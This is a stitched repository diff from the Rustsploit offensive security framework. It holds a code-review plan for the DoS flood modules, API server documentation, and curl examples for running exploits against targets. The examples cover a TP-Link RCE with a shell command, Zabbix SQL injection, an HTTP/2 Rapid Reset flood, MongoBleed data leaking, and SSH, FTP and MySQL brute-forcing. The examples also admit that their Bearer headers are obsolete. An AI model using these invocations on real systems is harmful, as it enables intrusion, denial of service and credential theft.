# Issue Fix
|
||||
1 Infinite loop unreachable (line 312): duration=0 mode enters loop { sleep(60).await } — code after it (stop_flag, report) never executes Replace with tokio::signal::ctrl_c() to allow graceful shutdown
|
||||
2 Format string bug (line 349): "[+] Local FD usage was bounded to {} concurrent." — {} is a literal format placeholder but is passed to .green(), not format!() Wrap in format!(...) with config.max_concurrent_fds
|
||||
3 Unsafe port parse (line 78): .unwrap_or(80) silently defaults on garbage input Use .map_err() with proper error
|
||||
tcp_connection_flood.rs
|
||||
[MODIFY]
|
||||
tcp_connection_flood.rs
|
||||
# Issue Fix
|
||||
1 Unsafe port parse (line 59): .unwrap_or(80) Proper error handling
|
||||
2 Unused import (line 3): tokio::io::AsyncWriteExt imported but stream.shutdown() uses it — verify if actually needed after Ok(mut stream) → actually IS used on line 178 Keep — but verify it compiles
|
||||
3 Division-by-zero risk (line 147): s_start.elapsed().as_secs_f64() could be 0.0 on first tick Add .max(0.001) guard
|
||||
4 Slow random sampling (line 183): rand::random::<f32>() < 0.001 — uses full crypto RNG for error sampling Replace with counter-based sampling (wrapping_add + modulo, like connection_exhaustion_flood)
|
||||
5 No infinite mode: Duration is always >0 Add duration=0 support with ctrl_c
|
||||
null_syn_exhaustion.rs
|
||||
[MODIFY]
|
||||
null_syn_exhaustion.rs
|
||||
# Issue Fix
|
||||
1 Total length overflow (line 185): total_len = self.buffer.len() as u16 — if payload_size is > 65495, this will truncate Already capped at line 484-488, but add debug_assert
|
||||
NOTE
|
||||
|
||||
null_syn_exhaustion.rs
|
||||
is well-optimized with custom FastRng, pre-allocated PacketBuilder, batched stats, and native OS threads. Only minor hardening needed.
|
||||
|
||||
Documentation Updates
|
||||
[MODIFY]
|
||||
README.md
|
||||
Add DOS modules to module catalog table (exploits/dos/*)
|
||||
Add camxploit mass scan enhancements to highlights (EXCLUDED_RANGES, service filtering, output file)
|
||||
Add EXCLUDED_RANGES pattern to highlights section
|
||||
[MODIFY]
|
||||
docs/readme.md
|
||||
Add DOS module section under "Recent Module Enhancements"
|
||||
Document connection_exhaustion_flood (FD-bounded, semaphore)
|
||||
Update "DoS / Stress Testing Optimizations" section with connection_exhaustion_flood
|
||||
Verification Plan
|
||||
bash
|
||||
cargo check 2>&1 | tail -5 # Must exit 0
|
||||
grep -n "unwrap_or(80)" src/modules/exploits/dos/*.rs # Must return empty
|
||||
grep -n "rand::random" src/modules/exploits/dos/*.rs # Must return empty
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,368 @@
|
||||
# API Server
|
||||
|
||||
Rustsploit includes a built-in REST API server (`src/api.rs`) with post-quantum encrypted transport and SSH-style identity key authentication. No TLS. No API keys.
|
||||
|
||||
---
|
||||
|
||||
## Starting the API Server
|
||||
|
||||
```bash
|
||||
# Basic — auto-generates host key on first run
|
||||
cargo run -- --api
|
||||
|
||||
# Custom bind address
|
||||
cargo run -- --api --interface 0.0.0.0:9000
|
||||
|
||||
# Custom key paths
|
||||
cargo run -- --api --pq-host-key /path/to/host_key --pq-authorized-keys /path/to/authorized_keys
|
||||
```
|
||||
|
||||
On first run, the server generates a PQ host key pair at `~/.rustsploit/pq_host_key` and prints its fingerprint:
|
||||
```
|
||||
🔑 Host key fingerprint: PQ256:a1b2c3d4e5f6...
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## API Flags
|
||||
|
||||
| Flag | Description | Required |
|
||||
|------|-------------|----------|
|
||||
| `--api` | Enable API server mode | Yes |
|
||||
| `--interface <addr:port>` | Bind address (default: `127.0.0.1:8080`) | No |
|
||||
| `--pq-host-key <path>` | PQ host key file (default: `~/.rustsploit/pq_host_key`) | No |
|
||||
| `--pq-authorized-keys <path>` | Authorized client keys (default: `~/.rustsploit/pq_authorized_keys`) | No |
|
||||
|
||||
---
|
||||
|
||||
## Authentication — Post-Quantum Identity Keys
|
||||
|
||||
Authentication uses SSH-style public/private key pairs with post-quantum cryptography. No API keys or Bearer tokens.
|
||||
|
||||
### How it works
|
||||
|
||||
1. **Server** has a host key pair (ML-KEM-768 + X25519) stored at `~/.rustsploit/pq_host_key`
|
||||
2. **Client** has an identity key pair per tenant, stored encrypted in ArcticAlopex's database
|
||||
3. Client's public key must be listed in `~/.rustsploit/pq_authorized_keys`
|
||||
4. On first connection, client and server perform a **mutual authentication handshake** at `POST /pq/handshake`
|
||||
5. Both sides prove key ownership via DH proof-of-possession
|
||||
6. Session keys are derived from 3 shared secrets: ephemeral X25519 DH + identity X25519 DH + ML-KEM-768
|
||||
7. All subsequent API traffic is encrypted with ChaCha20-Poly1305 via a Double Ratchet (forward secrecy)
|
||||
|
||||
### Authorized keys format
|
||||
|
||||
`~/.rustsploit/pq_authorized_keys` — one JSON object per line:
|
||||
```json
|
||||
{"name":"acme-tenant","x25519_pub":"base64...","mlkem_ek":"base64..."}
|
||||
{"name":"redteam","x25519_pub":"base64...","mlkem_ek":"base64..."}
|
||||
```
|
||||
|
||||
### Security properties
|
||||
|
||||
| Property | Mechanism |
|
||||
|----------|-----------|
|
||||
| Quantum resistance | ML-KEM-768 (NIST FIPS 203, Level 3) |
|
||||
| Classical resistance | X25519 hybrid (both must be broken) |
|
||||
| Forward secrecy | Double Ratchet with periodic DH re-keying |
|
||||
| Mutual authentication | Both sides prove identity key ownership |
|
||||
| Replay protection | Monotonic epoch counter + unique nonces |
|
||||
| Tampering detection | ChaCha20-Poly1305 AEAD with AAD |
|
||||
|
||||
---
|
||||
|
||||
## Endpoints
|
||||
|
||||
### Public (no PQ session needed)
|
||||
|
||||
| Method | Path | Description |
|
||||
|--------|------|-------------|
|
||||
| `GET` | `/health` | Health check |
|
||||
| `POST` | `/pq/handshake` | Establish PQ-encrypted session (mutual auth) |
|
||||
|
||||
### Protected (26 endpoints — require active PQ session)
|
||||
|
||||
**Modules**
|
||||
|
||||
| Method | Path | Description |
|
||||
|--------|------|-------------|
|
||||
| `GET` | `/api/modules` | List all available modules by category |
|
||||
| `GET` | `/api/modules/search?q=<keyword>` | Search modules by keyword |
|
||||
| `GET` | `/api/module/{category}/{name}` | Get module info/metadata |
|
||||
| `POST` | `/api/run` | Execute a module against a target |
|
||||
|
||||
**Shell**
|
||||
|
||||
| Method | Path | Description |
|
||||
|--------|------|-------------|
|
||||
| `POST` | `/api/shell` | Execute any shell command (full parity with interactive shell) |
|
||||
|
||||
**Target**
|
||||
|
||||
| Method | Path | Description |
|
||||
|--------|------|-------------|
|
||||
| `GET` | `/api/target` | Get current global target |
|
||||
| `POST` | `/api/target` | Set global target |
|
||||
| `DELETE` | `/api/target` | Clear global target |
|
||||
|
||||
**Honeypot Detection**
|
||||
|
||||
| Method | Path | Description |
|
||||
|--------|------|-------------|
|
||||
| `POST` | `/api/honeypot-check` | Check if target is a honeypot |
|
||||
|
||||
**Results**
|
||||
|
||||
| Method | Path | Description |
|
||||
|--------|------|-------------|
|
||||
| `GET` | `/api/results` | List saved result files |
|
||||
| `GET` | `/api/results/{filename}` | Download a result file |
|
||||
|
||||
**Global Options**
|
||||
|
||||
| Method | Path | Description |
|
||||
|--------|------|-------------|
|
||||
| `GET` | `/api/options` | List all global options (`setg` values) |
|
||||
| `POST` | `/api/options` | Set a global option |
|
||||
| `DELETE` | `/api/options` | Delete a global option |
|
||||
|
||||
**Credential Store**
|
||||
|
||||
| Method | Path | Description |
|
||||
|--------|------|-------------|
|
||||
| `GET` | `/api/creds` | List stored credentials |
|
||||
| `POST` | `/api/creds` | Add a credential manually |
|
||||
| `DELETE` | `/api/creds` | Delete a credential by ID |
|
||||
|
||||
**Workspace / Hosts / Services**
|
||||
|
||||
| Method | Path | Description |
|
||||
|--------|------|-------------|
|
||||
| `GET` | `/api/hosts` | List tracked hosts |
|
||||
| `POST` | `/api/hosts` | Add a host (IP, hostname, OS guess) |
|
||||
| `GET` | `/api/services` | List discovered services |
|
||||
| `POST` | `/api/services` | Add a service (host, port, protocol, name) |
|
||||
| `GET` | `/api/workspace` | Get current workspace name/data |
|
||||
| `POST` | `/api/workspace` | Switch to a different workspace |
|
||||
|
||||
**Loot**
|
||||
|
||||
| Method | Path | Description |
|
||||
|--------|------|-------------|
|
||||
| `GET` | `/api/loot` | List collected loot items |
|
||||
| `POST` | `/api/loot` | Add loot (host, type, description, data) |
|
||||
|
||||
**Jobs**
|
||||
|
||||
| Method | Path | Description |
|
||||
|--------|------|-------------|
|
||||
| `GET` | `/api/jobs` | List background jobs |
|
||||
| `DELETE` | `/api/jobs/{id}` | Kill a background job by ID |
|
||||
|
||||
**Export**
|
||||
|
||||
| Method | Path | Description |
|
||||
|--------|------|-------------|
|
||||
| `GET` | `/api/export?format=<json\|csv\|summary>` | Export engagement data |
|
||||
|
||||
> **Note:** The `check` command (non-destructive vulnerability check) is available via `POST /api/shell` with `{"command": "check"}` when a module and target are set. There is no dedicated `/api/check` endpoint.
|
||||
|
||||
> All responses include `request_id`, `timestamp`, and `duration_ms` fields for observability.
|
||||
|
||||
> **Total: 27 endpoints** (1 public + 26 protected) across 9 resource categories.
|
||||
|
||||
### Shell Command Endpoint
|
||||
|
||||
`POST /api/shell` provides **full parity** with the interactive shell. Every command
|
||||
available in the `rsf>` prompt works via this endpoint. Commands that require interactive
|
||||
prompts (like `creds add`, `services add`, `loot add`) accept inline arguments instead.
|
||||
|
||||
**Request format:**
|
||||
```json
|
||||
{
|
||||
"command": "single command string",
|
||||
"commands": ["cmd1", "cmd2", "cmd3"]
|
||||
}
|
||||
```
|
||||
|
||||
Use `command` for a single command or `commands` (array, 1-20 entries) for batching.
|
||||
Shell metacharacters (`& | ; $ >`) are forbidden — use the `commands` array for chaining.
|
||||
|
||||
**Supported commands:**
|
||||
|
||||
| Category | Commands |
|
||||
|----------|----------|
|
||||
| Navigation | `help`, `modules`, `find <kw>`, `use <path>`, `info [path]`, `back` |
|
||||
| Targeting | `set target <ip>`, `set subnet <CIDR>`, `set port <n>`, `show_target`, `clear_target` |
|
||||
| Execution | `run [target]`, `run_all [target]`, `check` |
|
||||
| Global Options | `setg <key> <val>`, `unsetg <key>`, `show_options` |
|
||||
| Credentials | `creds`, `creds add <host> <port> <svc> <user> <secret> [type]`, `creds search <q>`, `creds delete <id>`, `creds clear` |
|
||||
| Hosts/Services | `hosts`, `hosts add <ip>`, `services`, `services add <host> <port> <proto> <name> [ver]`, `notes <ip> <text>` |
|
||||
| Workspace | `workspace [name]` |
|
||||
| Loot | `loot`, `loot add <host> <type> <desc> <data>`, `loot search <q>` |
|
||||
| Export | `export <json\|csv\|summary> <file>` |
|
||||
| Jobs | `jobs`, `jobs -k <id>`, `jobs clean` |
|
||||
| Logging | `spool [off\|file]` |
|
||||
|
||||
**Not available in API mode:** `resource` (security — prevents server-side file execution), `makerc` (no shell history).
|
||||
|
||||
**Response format:**
|
||||
```json
|
||||
{
|
||||
"success": true,
|
||||
"message": "N shell command(s) executed",
|
||||
"data": {
|
||||
"results": [
|
||||
{
|
||||
"command": "modules",
|
||||
"success": true,
|
||||
"output": "{\"total\": <dynamically generated>, ...}",
|
||||
"duration_ms": 2
|
||||
}
|
||||
]
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Commands returning structured data (modules, creds, hosts, services, loot, jobs, options, info, check)
|
||||
encode their output as JSON strings in the `output` field.
|
||||
|
||||
---
|
||||
|
||||
## Security Features
|
||||
|
||||
### Input Validation
|
||||
|
||||
| Check | Detail |
|
||||
|-------|--------|
|
||||
| Request body limit | Max 1 MB (prevents DoS) |
|
||||
| API key validation | Must be printable ASCII, max 256 chars |
|
||||
| Target validation | Length check, control char rejection, path traversal prevention |
|
||||
| Module path sanitization | Validated against injection and traversal attacks |
|
||||
| Resource limits | Auto-cleanup when tracked IPs or auth failures exceed 100,000 entries |
|
||||
|
||||
### IP Whitelist
|
||||
|
||||
An optional IP whitelist can be configured at `~/.rustsploit/ip_whitelist.conf` (one IP per line, `#` for comments). When the file exists and contains entries, only listed IPs are allowed to access the API. All other IPs receive HTTP `403 Forbidden`. If the file is absent or empty, all IPs are allowed.
|
||||
|
||||
### Rate Limiting
|
||||
|
||||
- **10 requests per second** per IP (general rate limit)
|
||||
- **3 failed auth attempts** → IP blocked for **30 seconds**
|
||||
- Blocked IPs receive HTTP `429 Too Many Requests`
|
||||
- Failure counter resets automatically after the block expires
|
||||
- Successful auth resets the failure counter for that IP
|
||||
- Expired blocks and entries older than **1 hour** are auto-pruned
|
||||
|
||||
### Post-Quantum Host Key
|
||||
|
||||
The server generates an ML-KEM-768 + X25519 host key pair on first run at `~/.rustsploit/pq_host_key`. This is the server's permanent identity — like an SSH host key. The fingerprint is displayed on startup and should be verified by clients on first connection to prevent MITM attacks.
|
||||
|
||||
---
|
||||
|
||||
## Logging
|
||||
|
||||
All activity is logged to:
|
||||
- **Terminal** — real-time colored output
|
||||
- **`rustsploit_api.log`** — in the current working directory
|
||||
|
||||
Logged events include:
|
||||
- API requests and responses
|
||||
- Authentication failures and rate limit triggers
|
||||
- IP tracking and hardening actions
|
||||
- Key rotation events
|
||||
- Module execution results
|
||||
- Resource cleanup operations
|
||||
|
||||
---
|
||||
|
||||
## Module Prompts (API Mode)
|
||||
|
||||
All modules (exploits, scanners, and creds) support a `prompts` field in the
|
||||
`/api/run` request body. This field is a JSON object of key→value pairs that
|
||||
pre-fill interactive prompts so modules run non-interactively via the API.
|
||||
|
||||
### How It Works
|
||||
|
||||
1. Modules use `cfg_prompt_*()` functions that check `prompts` first
|
||||
2. If a key is not found in `prompts`, global options (set via `setg` or
|
||||
`POST /api/options`) are checked next
|
||||
3. If a key is present in either source, its value is used instead of prompting stdin
|
||||
4. If a key is missing in API mode, the default value is used (or an error is
|
||||
returned for required prompts)
|
||||
5. Boolean prompts accept: `y`/`n`/`yes`/`no`/`true`/`false`/`1`/`0`
|
||||
|
||||
### Common Prompt Keys
|
||||
|
||||
| Key | Type | Used By | Description |
|
||||
|-----|------|---------|-------------|
|
||||
| `port` | u16 | Most modules | Target service port |
|
||||
| `target` | string | Some modules | Override target when empty |
|
||||
| `command` | string | RCE exploits | Command to execute |
|
||||
| `username` | string | Auth exploits/creds | Username or login |
|
||||
| `password` | string | Auth exploits/creds | Password or credential |
|
||||
| `mode` | string | Multi-mode modules | Select operation mode (1, 2, 3…) |
|
||||
| `concurrency` | int | Scanners/creds | Max concurrent tasks |
|
||||
| `output_file` | string | Modules with save | Output filename |
|
||||
| `save_results` | y/n | Creds/scanners | Save results to file |
|
||||
| `verbose` | y/n | Many modules | Verbose output |
|
||||
| `skip_ssl` | y/n | Web exploits | Skip SSL verification |
|
||||
| `proceed` | y/n | Dangerous exploits | Confirm execution |
|
||||
| `lhost` | string | Reverse shell | Attacker listener IP |
|
||||
| `lport` | string | Reverse shell | Attacker listener port |
|
||||
| `username_wordlist` | path | Creds modules | Path to username wordlist |
|
||||
| `password_wordlist` | path | Creds modules | Path to password wordlist |
|
||||
| `stop_on_success` | y/n | Creds modules | Stop on first valid credential |
|
||||
| `combo_mode` | y/n | Creds modules | user×pass combination mode |
|
||||
|
||||
### Example: Exploit Module via API
|
||||
|
||||
```json
|
||||
{
|
||||
"module": "exploits/routers/tplink/tplink_archer_rce_cve_2024_53375",
|
||||
"target": "192.168.1.1",
|
||||
"prompts": {
|
||||
"username": "admin",
|
||||
"password": "admin123",
|
||||
"command": "id"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Example: Credential Module via API
|
||||
|
||||
```json
|
||||
{
|
||||
"module": "creds/generic/ftp_bruteforce",
|
||||
"target": "10.10.10.10",
|
||||
"prompts": {
|
||||
"port": "21",
|
||||
"username_wordlist": "/opt/wordlists/users.txt",
|
||||
"password_wordlist": "/opt/wordlists/passwords.txt",
|
||||
"concurrency": "500",
|
||||
"stop_on_success": "y",
|
||||
"save_results": "y",
|
||||
"output_file": "ftp_results.txt",
|
||||
"verbose": "n",
|
||||
"combo_mode": "n"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Example: Database Bruteforce via API
|
||||
|
||||
```json
|
||||
{
|
||||
"module": "creds/generic/mysql_bruteforce",
|
||||
"target": "10.10.10.10",
|
||||
"prompts": {
|
||||
"port": "3306",
|
||||
"use_defaults": "y",
|
||||
"username_wordlist": "/opt/wordlists/users.txt",
|
||||
"password_wordlist": "/opt/wordlists/passwords.txt",
|
||||
"concurrency": "20",
|
||||
"stop_on_success": "y",
|
||||
"save_results": "y",
|
||||
"output_file": "mysql_results.txt"
|
||||
}
|
||||
}
|
||||
```
|
||||
@@ -0,0 +1,516 @@
|
||||
# API Usage Examples
|
||||
|
||||
Practical workflows for interacting with the Rustsploit REST API.
|
||||
|
||||
> Start the server first: `cargo run -- --api`
|
||||
>
|
||||
> **Note:** Direct `curl` usage requires completing a PQ handshake first (programmatic clients only). For interactive use, connect via ArcticAlopex GUI which handles the PQ session automatically. The `curl` examples below show the plaintext request/response format — in practice, all traffic is PQ-encrypted.
|
||||
>
|
||||
> The `Authorization: Bearer` headers shown below are **no longer used** — authentication is via PQ identity keys established during the handshake. The examples retain the header for reference only.
|
||||
|
||||
---
|
||||
|
||||
## Health Check (No Auth)
|
||||
|
||||
```bash
|
||||
curl http://localhost:8080/health
|
||||
```
|
||||
|
||||
**Response:**
|
||||
```json
|
||||
{"status": "ok", "timestamp": "2026-03-17T14:00:00Z"}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## List Available Modules
|
||||
|
||||
```bash
|
||||
curl -H "Authorization: Bearer my-secret-key" \
|
||||
http://localhost:8080/api/modules
|
||||
```
|
||||
|
||||
**Response (truncated):**
|
||||
```json
|
||||
{
|
||||
"modules": [
|
||||
"exploits/heartbleed",
|
||||
"exploits/mongo/mongobleed",
|
||||
"scanners/port_scanner",
|
||||
"scanners/dir_brute",
|
||||
"creds/generic/ssh_bruteforce"
|
||||
],
|
||||
"count": 181,
|
||||
"request_id": "abc123",
|
||||
"timestamp": "2026-03-17T14:01:00Z",
|
||||
"duration_ms": 2
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Get Module Details
|
||||
|
||||
```bash
|
||||
curl -H "Authorization: Bearer my-secret-key" \
|
||||
http://localhost:8080/api/module/exploits/sample_exploit
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Validate Parameters (Dry Run)
|
||||
|
||||
```bash
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"module": "scanners/port_scanner", "target": "192.168.1.1"}' \
|
||||
http://localhost:8080/api/validate
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Run a Port Scan
|
||||
|
||||
```bash
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"module": "scanners/port_scanner", "target": "192.168.1.1"}' \
|
||||
http://localhost:8080/api/run
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Run an Exploit
|
||||
|
||||
All exploit modules support full API mode via the `prompts` field. When running
|
||||
via the API, every interactive prompt can be pre-filled so modules never block
|
||||
waiting on stdin.
|
||||
|
||||
```bash
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"module": "exploits/heartbleed", "target": "10.10.10.10"}' \
|
||||
http://localhost:8080/api/run
|
||||
```
|
||||
|
||||
### Exploit with Prompts
|
||||
|
||||
```bash
|
||||
# TP-Link Archer RCE — supply credentials and command via API
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"module": "exploits/routers/tplink/tplink_archer_rce_cve_2024_53375",
|
||||
"target": "192.168.1.1",
|
||||
"prompts": {
|
||||
"username": "admin",
|
||||
"password": "admin123",
|
||||
"command": "id"
|
||||
}
|
||||
}' \
|
||||
http://localhost:8080/api/run
|
||||
```
|
||||
|
||||
```bash
|
||||
# Zabbix SQL Injection — pre-select payload mode and credentials
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"module": "exploits/webapps/zabbix/zabbix_7_0_0_sql_injection",
|
||||
"target": "10.10.10.10",
|
||||
"prompts": {
|
||||
"username": "Admin",
|
||||
"password": "zabbix",
|
||||
"mode": "3"
|
||||
}
|
||||
}' \
|
||||
http://localhost:8080/api/run
|
||||
```
|
||||
|
||||
```bash
|
||||
# HTTP/2 Rapid Reset DoS test
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"module": "exploits/frameworks/http2/cve_2023_44487_http2_rapid_reset",
|
||||
"target": "10.10.10.10",
|
||||
"prompts": {
|
||||
"port": "443",
|
||||
"use_ssl": "y",
|
||||
"num_streams": "500",
|
||||
"delay_ms": "1",
|
||||
"run_baseline": "y",
|
||||
"confirm_permission": "y"
|
||||
}
|
||||
}' \
|
||||
http://localhost:8080/api/run
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Run a Credential Module
|
||||
|
||||
```bash
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"module": "creds/generic/ssh_bruteforce",
|
||||
"target": "10.10.10.10",
|
||||
"prompts": {
|
||||
"port": "22",
|
||||
"username_wordlist": "/opt/wordlists/users.txt",
|
||||
"password_wordlist": "/opt/wordlists/passwords.txt",
|
||||
"concurrency": "100",
|
||||
"stop_on_success": "y",
|
||||
"save_results": "y",
|
||||
"output_file": "ssh_results.txt"
|
||||
}
|
||||
}' \
|
||||
http://localhost:8080/api/run
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Run MongoBleed (CVE-2025-14847)
|
||||
|
||||
```bash
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"module": "exploits/mongo/mongobleed",
|
||||
"target": "10.10.10.10:27017",
|
||||
"prompts": {
|
||||
"mode": "2",
|
||||
"port": "27017",
|
||||
"output_file": "leaked_data.bin"
|
||||
}
|
||||
}' \
|
||||
http://localhost:8080/api/run
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Check Server Status & Statistics
|
||||
|
||||
```bash
|
||||
curl -H "Authorization: Bearer my-secret-key" \
|
||||
http://localhost:8080/api/status
|
||||
```
|
||||
|
||||
**Response:**
|
||||
```json
|
||||
{
|
||||
"uptime_seconds": 3600,
|
||||
"requests_total": 142,
|
||||
"auth_failures": 3,
|
||||
"tracked_ips": 2,
|
||||
"hardening_enabled": true,
|
||||
"ip_limit": 5,
|
||||
"request_id": "def456",
|
||||
"timestamp": "2026-03-17T15:00:00Z",
|
||||
"duration_ms": 1
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## View Tracked IPs
|
||||
|
||||
```bash
|
||||
curl -H "Authorization: Bearer my-secret-key" \
|
||||
http://localhost:8080/api/ips
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## View Auth Failure Stats
|
||||
|
||||
```bash
|
||||
curl -H "Authorization: Bearer my-secret-key" \
|
||||
http://localhost:8080/api/auth-failures
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Manually Rotate API Key
|
||||
|
||||
```bash
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
http://localhost:8080/api/rotate-key
|
||||
```
|
||||
|
||||
The response includes the **new key** — store it immediately as the old key is invalidated.
|
||||
|
||||
---
|
||||
|
||||
## Global Options
|
||||
|
||||
```bash
|
||||
# Set global options
|
||||
curl -X POST http://localhost:8080/api/options \
|
||||
-H "Authorization: Bearer YOUR_KEY" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"port": "8080", "concurrency": "50"}'
|
||||
|
||||
# List global options
|
||||
curl http://localhost:8080/api/options \
|
||||
-H "Authorization: Bearer YOUR_KEY"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Credential Store
|
||||
|
||||
```bash
|
||||
# Add a credential
|
||||
curl -X POST http://localhost:8080/api/creds \
|
||||
-H "Authorization: Bearer YOUR_KEY" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"host": "192.168.1.1", "port": 22, "service": "ssh", "username": "admin", "secret": "password123", "cred_type": "password"}'
|
||||
|
||||
# List all credentials
|
||||
curl http://localhost:8080/api/creds \
|
||||
-H "Authorization: Bearer YOUR_KEY"
|
||||
|
||||
# Delete a credential
|
||||
curl -X DELETE http://localhost:8080/api/creds \
|
||||
-H "Authorization: Bearer YOUR_KEY" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"id": "abc12345"}'
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Workspace & Host Tracking
|
||||
|
||||
```bash
|
||||
# Add a host
|
||||
curl -X POST http://localhost:8080/api/hosts \
|
||||
-H "Authorization: Bearer YOUR_KEY" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"ip": "192.168.1.1", "hostname": "router.local", "os_guess": "Linux"}'
|
||||
|
||||
# List hosts
|
||||
curl http://localhost:8080/api/hosts -H "Authorization: Bearer YOUR_KEY"
|
||||
|
||||
# Add a service
|
||||
curl -X POST http://localhost:8080/api/services \
|
||||
-H "Authorization: Bearer YOUR_KEY" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"host": "192.168.1.1", "port": 22, "protocol": "tcp", "service_name": "ssh", "version": "OpenSSH 8.9"}'
|
||||
|
||||
# List services
|
||||
curl http://localhost:8080/api/services -H "Authorization: Bearer YOUR_KEY"
|
||||
|
||||
# Switch workspace
|
||||
curl -X POST http://localhost:8080/api/workspace \
|
||||
-H "Authorization: Bearer YOUR_KEY" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"name": "engagement_2"}'
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Loot Management
|
||||
|
||||
```bash
|
||||
# Store loot
|
||||
curl -X POST http://localhost:8080/api/loot \
|
||||
-H "Authorization: Bearer YOUR_KEY" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"host": "192.168.1.1", "loot_type": "config", "description": "Router config dump", "data": "hostname router1\ninterface eth0..."}'
|
||||
|
||||
# List loot
|
||||
curl http://localhost:8080/api/loot -H "Authorization: Bearer YOUR_KEY"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Background Jobs
|
||||
|
||||
```bash
|
||||
# List running jobs
|
||||
curl http://localhost:8080/api/jobs -H "Authorization: Bearer YOUR_KEY"
|
||||
|
||||
# Kill a job
|
||||
curl -X DELETE http://localhost:8080/api/jobs/1 -H "Authorization: Bearer YOUR_KEY"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Export Engagement Data
|
||||
|
||||
```bash
|
||||
# Export all data as JSON
|
||||
curl http://localhost:8080/api/export?format=json -H "Authorization: Bearer YOUR_KEY"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Shell Command Endpoint (Full Shell Parity)
|
||||
|
||||
The `/api/shell` endpoint supports **every interactive shell command**. Use the
|
||||
`commands` array to chain multiple commands in a single request.
|
||||
|
||||
### Basic Shell Commands
|
||||
|
||||
```bash
|
||||
# List all modules via shell endpoint
|
||||
curl -X POST http://localhost:8080/api/shell \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"command": "modules"}'
|
||||
|
||||
# Search for SSH modules
|
||||
curl -X POST http://localhost:8080/api/shell \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"command": "find ssh"}'
|
||||
|
||||
# Get module info
|
||||
curl -X POST http://localhost:8080/api/shell \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"command": "info exploits/heartbleed"}'
|
||||
```
|
||||
|
||||
### Chained Workflow (Select, Target, Run)
|
||||
|
||||
```bash
|
||||
curl -X POST http://localhost:8080/api/shell \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"commands": [
|
||||
"use scanners/port_scanner",
|
||||
"set target 192.168.1.1",
|
||||
"run"
|
||||
]
|
||||
}'
|
||||
```
|
||||
|
||||
### Vulnerability Check
|
||||
|
||||
```bash
|
||||
curl -X POST http://localhost:8080/api/shell \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"commands": [
|
||||
"use exploits/heartbleed",
|
||||
"set target 10.10.10.10",
|
||||
"check"
|
||||
]
|
||||
}'
|
||||
```
|
||||
|
||||
### Global Options via Shell
|
||||
|
||||
```bash
|
||||
curl -X POST http://localhost:8080/api/shell \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"commands": [
|
||||
"setg port 8080",
|
||||
"setg concurrency 50",
|
||||
"show_options"
|
||||
]
|
||||
}'
|
||||
```
|
||||
|
||||
### Data Management via Shell
|
||||
|
||||
```bash
|
||||
# Add credentials (inline — no interactive prompts in API mode)
|
||||
curl -X POST http://localhost:8080/api/shell \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"command": "creds add 192.168.1.1 22 ssh admin password123 password"}'
|
||||
|
||||
# Search credentials
|
||||
curl -X POST http://localhost:8080/api/shell \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"command": "creds search ssh"}'
|
||||
|
||||
# Add host and service
|
||||
